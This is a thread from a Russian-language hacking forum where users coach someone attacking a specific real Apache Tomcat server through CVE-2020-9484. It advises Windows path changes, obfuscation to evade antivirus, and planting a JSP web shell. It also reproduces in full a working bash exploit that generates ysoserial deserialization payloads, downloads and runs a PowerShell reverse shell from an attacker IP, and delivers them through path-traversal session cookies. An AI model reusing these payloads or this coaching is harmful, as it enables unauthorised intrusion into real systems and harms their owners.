• XSS.stack #1 – первый литературный журнал от юзеров форума

cve-2020-9484 / help

Пожалуйста, обратите внимание, что пользователь заблокирован
когда это кого-то останавливало то? ;-)
туннель надо просто бросить от "внутренней" тачки (хоть виртуалки) до одного из сервисов туннелей и на него "принимать входящие": https://github.com/anderspitman/awesome-tunneling
например https://jprq.io/ хороший вариант туннеля, я лично знаю одного из соавторов просто.
Ну да, я в курсе про них, только в своей деятельности они мне не нужны, а настраивать всё ради того, чтобы помочь челику с детским эксплойтом мне очень лень xD
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну да, я в курсе про них, только в своей деятельности они мне не нужны, а настраивать всё ради того, чтобы помочь челику с детским эксплойтом мне очень лень xD
Можно с вами как то связаться? Чисто на пару вопросов, в долгу точно не останусь. Контакты в пм.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А что на этом 117.158.227.74 в Zhengzhou, CN у провайдера chinamobile.com ценного то? Там хоть профит то есть какой?
Есть конечно, должно нормально быть.
 
Если что-то не получается, ты для начала попутайся получить баннер. Твоя цве для Apache Tomcat, следовательно тебе нужно получить баннер от него.

Если ты получил баннер и он попадает под условия:
Apache Tomcat 10.x до 10.0.0-M5
Apache Tomcat 9.x до 9.0.35
Apache Tomcat 8.x до 8.5.55
Apache Tomcat 7.x до 7.0.104

Но сплоит всёравно не пролазит, нужно смотреть сам запрос который твой чудо скрипт посылает и уже толкаться от этого

Apache Tomcat/7.0.88​

 
Есть конечно, должно нормально быть.
Прошу обратить внимание, что там на хосте скорее всего винда (открыт 3389 порт RDP) , поэтому "шелл" который вы ждёте на неткате будет не баш, а повершелл скорее всего ;-)
А сплоит может быть написан супротив Linux, поэтому винда не вдупляет как ей bash запустить реверс шелл :)))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Прошу обратить внимание, что там на хосте скорее всего винда (открыт 3389 порт RDP) , поэтому "шелл" который вы ждёте на неткате будет не баш, а повершелл скорее всего ;-)
А сплоит может быть написан супротив Linux, поэтому винда не вдупляет как ей bash запустить реверс шелл :)))
Там главное обратить внимание на запрос от сервера к локальному python http-серверу. Если его нет, то и пейлоды на .sh в принципе безполезны. Если есть, то да, надо оптимизировать
 
приветствую всех, решил попробовать эксплуатировать уязвимость - cve 2020 9484
подскажите, присутствует ли он принципе на сайте https://117.158.227.74/login.jsp
если вы что то знаете/можете помочь - пишите мне в пм на форуме. в долгу не останусь.
на данный момент просто обучаюсь.
Посмотреть вложение 88576
can you share the source of the bash script.
thank you
 
Если используешь какой-то паблик сплоит с github, то ссылку на него лучше бы выложил, чтобы понять вообще что он делает, так просто как гадание на кофейной гуще
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Что бы не гадать на кофейной гуще)
Друзья, выше написали что на порту расположена винда, а значит нужна обусификация кода, к сожалению я не занимаюсь этим.
 
Последнее редактирование:
Что бы не гадать на кофейной гуще)
Друзья, выше написали что на порту расположена винда, а значит нужна обусификация кода, к сожалению я не занимаюсь криптографией.

В сырце сплоита ясно написано:
Bash:
curl http://$target_ip:$target_port/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload' -F 'image=@downloadPayload.session'

опция -H в curl означает отправку HTTP заголовка, в данном случае куки JSESSIONID (который кстати на винде, а там порт 3389 RDP на хосте открыт, никак не ляжет в /opt/samples/... - надо менять в сплоите path на виндовый)
опция -F в curl означает что льём multipart/form-data (RFC2388) , ну в данном случае payload притворяется картинкой.

то есть явное Remode Code Execution (RCE) через Insecure Deserialization.

и я бы не колупался с реверс-шеллом, а попробовал бы на твоём месте залить свой jsp файл, сделав прямой jsp шелл через браузер прям.

ну и сам понимаешь внутри create_payload_files() должны быть не curl или bash, а вполне виндовые команды, которые Python прога yoserial (она требуется как зависимость для сплоита - готовит payload) сделает опасными для Tomcat "плохо десериализуемыми, ай-яй аж вплоть до RCE" , но что будет в этом RCE - это вовсе не обязательно reverse shell - включи фантазию, помня что там винда и скорее всего defender антивирь по дефолту (намекаю на обфускацию payload'a)

и самое главное, убедись что в корне того хоста лежит реально upload.jsp - без него все потуги бессмысленны :)
я это сделал за тебя впрочем см. картинку

P.S. ну и разумеется в коде сплоита спецом небольшие ошибки сделаны чтобы кто попало без понимания не юзал, так что рекомендую разобраться.
мне кажется если бы мне так "разжевали" всё, то грех было бы не хакнуть :)))
 

Вложения

  • Screenshot_2024-07-10_14-07-57.png
    Screenshot_2024-07-10_14-07-57.png
    30.4 КБ · Просмотры: 12
Последнее редактирование:
Что бы не гадать на кофейной гуще)
Друзья, выше написали что на порту расположена винда, а значит нужна обусификация кода, к сожалению я не занимаюсь этим.
Код:
#!/bin/bash
# Exploit Title: Apache Tomcat RCE by deserialization
# Exploit Author: Pentestical (@ptestical)
# Date: 31.12.2020
# CVE-ID: CVE-2020-9484
# Version: Apache Tomcat 9.0.27
# Tested on: Kali Linux 2020.4

# Remote Code Execution by Deserialization

# your attacker IP, set to your own IP address
remote_ip="10.10.15.108"    # change this

# optional:
port=4444               
target_ip="$1"         
target_port=8080        # default port

# print banner
banner(){
cat <<"EOF"

    ____  ____________           __                                 
   / __ \/ ____/ ____/________ _/ /_                                 
  / /_/ / /   / __/ / ___/ __ `/ __/                                 
 / _, _/ /___/ /___/ /__/ /_/ / /_                                   
/_/ |||\____/_____/||||/\__,_/\__/  __            __  _            __
   / /_  __  __   / __ \___  ____  / /____  _____/ /_(_)________ _/ /
  / __ \/ / / /  / /_/ / _ \/ __ \/ __/ _ \/ ___/ __/ / ___/ __ `/ /
 / /_/ / /_/ /  / ____/  __/ / / / /_/  __(__  ) /_/ / /__/ /_/ / / 
/_.___/\__, /  /_/    \___/_/ /_/\__/\___/____/\__/_/\___/\__,_/_/   
      /____/                                                         
                                                                                                            
                            
EOF
}

if [ -z "$1" ] || [ "$1" = "--help" ] || [ "$1" = "-h" ]; then
    echo ""
    echo "$(tput setaf 3;tput bold)usage: ./CVE-2020-9484.sh target-ip"
    echo ""
    echo "$(tput setaf 4;tput bold)Please start a web listener in /tmp folder:"
    echo "$(tput setaf 3;tput bold)python3 -m http.server 80"
    echo ""
    echo "$(tput setaf 4;tput bold)and start your netcat listener at port 4444:"
    echo "$(tput setaf 3;tput bold)nc -nvlp 4444"
    exit   
fi

banner


find_ysoserial_on_system(){
    echo "$(tput setaf 6;tput bold)[+] Checking if you have installed ysoserial.."
    sleep 1
    ysoserial_file=$(find / -name "ysoserial-master.jar" -type f 2>/dev/null)
    if [ -z "$ysoserial_file" ]; then
        echo "$(tput setaf 1;tput bold)You need ysoserial-master.jar in order to use this script!"
        echo "$(tput setaf 1;tput bold)Please make sure to follow the install.txt guide!"
        echo "$(tput setaf 1;tput bold)Quitting.."
        exit
    fi
    echo "$(tput setaf 5;tput bold)[+] Found ysoserial-master.jar!"
}

create_payload_files(){
    echo "$(tput setaf 6;tput bold)[+] Trying to create payload files.."
    sleep 1
    echo "$(tput setaf 6;tput bold)[+] Creating payload.ps1 file.."
    rm -rf payload.ps1
    echo "powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient('$remote_ip',$port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" >> payload.ps1
    sleep 1
    echo "$(tput setaf 6;tput bold)[+] Creating downloadPayload.session file.."
    java -jar $ysoserial_file CommonsCollections2 'powershell -Command "Invoke-WebRequest -Uri http://'$remote_ip'/payload.ps1 -OutFile C:\Windows\Temp\payload.ps1"' > downloadPayload.session
    sleep 1
    echo "$(tput setaf 6;tput bold)[+] Creating executePayload.session file.."
    java -jar $ysoserial_file CommonsCollections2 'powershell -Command "powershell -ExecutionPolicy Bypass -File C:\Windows\Temp\payload.ps1"' > executePayload.session
    }

send_payload(){
    echo "$(tput setaf 6;tput bold)[+] Sending payload to target.."
    sleep 1
    curl -v -k --cookie JSESSIONID=../../../../../tmp/cc1.session -X PUT --data-binary @downloadPayload.session http://$target_ip:$target_port/
    sleep 1
    curl -v -k --cookie JSESSIONID=../../../../../tmp/cc2.session -X PUT --data-binary @executePayload.session http://$target_ip:$target_port/
}

main(){
    find_ysoserial_on_system
    create_payload_files
    send_payload
}

main
 
А ещё содержимое upload.jsp которое рендерится в виде HTML уже на клиент (в браузер) оно вот такое:

HTML:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
    <base href="https://117.158.227.74:443/">

    <title>SmartUpload</title>

</head>

<body>
<form action="index2.jsp" method="post" enctype="multipart/form-data">
    姓名:<input type="text" name="username" id="username"/><br/>
    密码:<input type="text" name="pwd" /><br/>
    文件1:<input type="file" name="file1" /><br/>
    文件2:<input type="file" name="file2" /><br/>
    <input type="submit" />
</form>
</body>
</html>

Что означает что сам upload производится через index2.jsp (а не upload.jsp как в сплоите)
Также наличествуют username и pwd (пароль) поля.
 
Последнее редактирование:
Что бы не гадать на кофейной гуще)
Друзья, выше написали что на порту расположена винда, а значит нужна обусификация кода, к сожалению я не занимаюсь этим.

Да тут как я погляжу и без сплоитов говна то всякого хватает на серваке том.
Как мне кажется для download.jsp параметры если поподбирать то можно скачать оттуда гипотетически чего-нибудь интересное для изучения.
 

Вложения

  • Screenshot_2024-07-10_19-28-10.png
    Screenshot_2024-07-10_19-28-10.png
    33.2 КБ · Просмотры: 13
  • Screenshot_2024-07-10_19-29-46.png
    Screenshot_2024-07-10_19-29-46.png
    38.8 КБ · Просмотры: 14


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх